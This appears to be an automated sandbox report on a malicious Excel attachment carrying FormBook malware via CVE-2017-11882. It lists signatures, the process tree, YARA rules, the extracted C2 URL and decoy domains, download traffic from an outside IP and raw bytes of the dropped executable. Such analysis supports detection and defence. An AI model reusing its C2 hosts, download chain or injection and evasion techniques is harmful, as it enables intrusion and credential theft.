Play interactive tour

Edit tour

Windows Analysis Report CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Overview

General Information

Sample Name:	CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx
Analysis ID:	435308
MD5:	2e75248bf9decdb8d02c9e69ac261a61
SHA1:	45f584d63706026e963cbb5b7242a4bc130efee7
SHA256:	5e9b6256c2adafe03e928b0afe98328a3d77c69c6f924d2608e9daf131063d9f
Tags:	VelvetSweatshopxlsx
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Modifies the prolog of user mode functions (user mode inline hooks)

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Sigma detected: Execution from Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Uses netsh to modify the Windows network and firewall settings

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Downloads executable code via HTTP

Drops PE files

Drops PE files to the user directory

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2512 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2660 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2336 cmdline: 'C:\Users\Public\vbc.exe' MD5: FF34B92FE897F13E422B67F5CBC9740C)

vbc.exe (PID: 2936 cmdline: C:\Users\Public\vbc.exe MD5: FF34B92FE897F13E422B67F5CBC9740C)

explorer.exe (PID: 1388 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

netsh.exe (PID: 1604 cmdline: C:\Windows\SysWOW64\netsh.exe MD5: 784A50A6A09C25F011C3143DDD68E729)

cmd.exe (PID: 2296 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.yellow-wink.com/nff/"], "decoy": ["shinseikai.site", "creditmystartup.com", "howtovvbucks.com", "betterfromthebeginning.com", "oubacm.com", "stonalogov.com", "gentrypartyof8.com", "cuesticksandsupplies.com", "joelsavestheday.com", "llanobnb.com", "ecclogic.com", "miempaque.com", "cai23668.com", "miscdr.net", "twzhhq.com", "bloomandbrewcafe.com", "angcomleisure.com", "mafeeboutique.com", "300coin.club", "brooksranchhomes.com", "konversiondigital.com", "dominivision.com", "superiorshinedetailing.net", "thehomechef.global", "dating-web.site", "gcbsclubc.com", "mothererph.com", "pacleanfuel.com", "jerseryshorenflflagfootball.com", "roberthyatt.com", "wwwmacsports.com", "tearor.com", "american-ai.com", "mkyiyuan.com", "gempharmatechllc.com", "verdijvtc.com", "zimnik-bibo.one", "heatherdarkauthor.net", "dunn-labs.com", "automotivevita.com", "bersatubagaidulu.com", "gorillarecruiting.com", "mikecdmusic.com", "femuveewedre.com", "onyxmodsllc.com", "ooweesports.com", "dezeren.com", "foeweifgoor73dz.com", "sorchaashe.com", "jamiitulivu.com", "jifengshijie.com", "ranchfiberglas.com", "glendalesocialmediaagency.com", "icuvietnam.com", "404hapgood.com", "planetturmeric.com", "danfrem.com", "amazonautomationbusiness.com", "switchfinder.com", "diversifiedforest.com", "findnehomes.com", "rsyueda.com", "colombianmatrimony.com", "evan-dawson.info"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x10dd28:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x10df92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13a348:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13a5b2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x119ab5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1460d5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x1195a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x145bc1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x119bb7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1461d7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x119d2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x14634f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x10e9aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x13afca:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x11881c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x144e3c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x10f6a3:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x13bcc3:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x11f757:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x14bd77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x12075a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x11c839:$sqlite3step: 68 34 1C 7B E1 0x11c94c:$sqlite3step: 68 34 1C 7B E1 0x148e59:$sqlite3step: 68 34 1C 7B E1 0x148f6c:$sqlite3step: 68 34 1C 7B E1 0x11c868:$sqlite3text: 68 38 2A 90 C5 0x11c98d:$sqlite3text: 68 38 2A 90 C5 0x148e88:$sqlite3text: 68 38 2A 90 C5 0x148fad:$sqlite3text: 68 38 2A 90 C5 0x11c87b:$sqlite3blob: 68 53 D8 7F 8C 0x11c9a3:$sqlite3blob: 68 53 D8 7F 8C 0x148e9b:$sqlite3blob: 68 53 D8 7F 8C 0x148fc3:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: vbc.exe PID: 2336	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.vbc.exe.400000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.vbc.exe.400000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14875:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x976a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1a517:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1b51a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.vbc.exe.400000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x175f9:$sqlite3step: 68 34 1C 7B E1 0x1770c:$sqlite3step: 68 34 1C 7B E1 0x17628:$sqlite3text: 68 38 2A 90 C5 0x1774d:$sqlite3text: 68 38 2A 90 C5 0x1763b:$sqlite3blob: 68 53 D8 7F 8C 0x17763:$sqlite3blob: 68 53 D8 7F 8C
5.2.vbc.exe.400000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.vbc.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b52:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15675:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa56a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c31a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.vbc.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x183f9:$sqlite3step: 68 34 1C 7B E1 0x1850c:$sqlite3step: 68 34 1C 7B E1 0x18428:$sqlite3text: 68 38 2A 90 C5 0x1854d:$sqlite3text: 68 38 2A 90 C5 0x1843b:$sqlite3blob: 68 53 D8 7F 8C 0x18563:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.155.82.236, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2660, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49167

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2660, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2660, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2336

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.yellow-wink.com/nff/"], "decoy": ["shinseikai.site", "creditmystartup.com", "howtovvbucks.com", "betterfromthebeginning.com", "oubacm.com", "stonalogov.com", "gentrypartyof8.com", "cuesticksandsupplies.com", "joelsavestheday.com", "llanobnb.com", "ecclogic.com", "miempaque.com", "cai23668.com", "miscdr.net", "twzhhq.com", "bloomandbrewcafe.com", "angcomleisure.com", "mafeeboutique.com", "300coin.club", "brooksranchhomes.com", "konversiondigital.com", "dominivision.com", "superiorshinedetailing.net", "thehomechef.global", "dating-web.site", "gcbsclubc.com", "mothererph.com", "pacleanfuel.com", "jerseryshorenflflagfootball.com", "roberthyatt.com", "wwwmacsports.com", "tearor.com", "american-ai.com", "mkyiyuan.com", "gempharmatechllc.com", "verdijvtc.com", "zimnik-bibo.one", "heatherdarkauthor.net", "dunn-labs.com", "automotivevita.com", "bersatubagaidulu.com", "gorillarecruiting.com", "mikecdmusic.com", "femuveewedre.com", "onyxmodsllc.com", "ooweesports.com", "dezeren.com", "foeweifgoor73dz.com", "sorchaashe.com", "jamiitulivu.com", "jifengshijie.com", "ranchfiberglas.com", "glendalesocialmediaagency.com", "icuvietnam.com", "404hapgood.com", "planetturmeric.com", "danfrem.com", "amazonautomationbusiness.com", "switchfinder.com", "diversifiedforest.com", "findnehomes.com", "rsyueda.com", "colombianmatrimony.com", "evan-dawson.info"]}

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Source: 5.2.vbc.exe.400000.1.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe			Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: netsh.pdb source: vbc.exe, 00000005.00000002.2207091115.0000000000811000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: vbc.exe, netsh.exe

Source: excel.exe

Memory has grown: Private usage: 4MB later: 60MB

Source: C:\Users\Public\vbc.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	4_2_0045A7C0
Source: C:\Users\Public\vbc.exe	Code function: 4x nop then pop edi	5_2_0040E442
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 4x nop then pop edi	7_2_0008E442

Source: global traffic

DNS query: name: www.glendalesocialmediaagency.com

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.155.82.236:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.155.82.236:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 192.168.2.22:49167 -> 103.155.82.236:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.yellow-wink.com/nff/

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 16 Jun 2021 09:55:53 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Wed, 16 Jun 2021 05:51:59 GMTETag: "d2800-5c4dbb062604a"Accept-Ranges: bytesContent-Length: 862208Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7f 91 c9 60 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 1c 0d 00 00 0a 00 00 00 00 00 00 be 3a 0d 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0d 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 68 3a 0d 00 53 00 00 00 00 40 0d 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 1a 0d 00 00 20 00 00 00 1c 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 08 00 00 00 40 0d 00 00 08 00 00 00 1e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0d 00 00 02 00 00 00 26 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 3a 0d 00 00 00 00 00 48 00 00 00 02 00 05 00 90 ab 0b 00 d8 8e 01 00 03 00 00 00 01 00 00 06 a8 18 01 00 e8 92 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7a 2b 02 26 16 2b 02 26 16 28 01 00 00 0a 28 02 00 00 0a 28 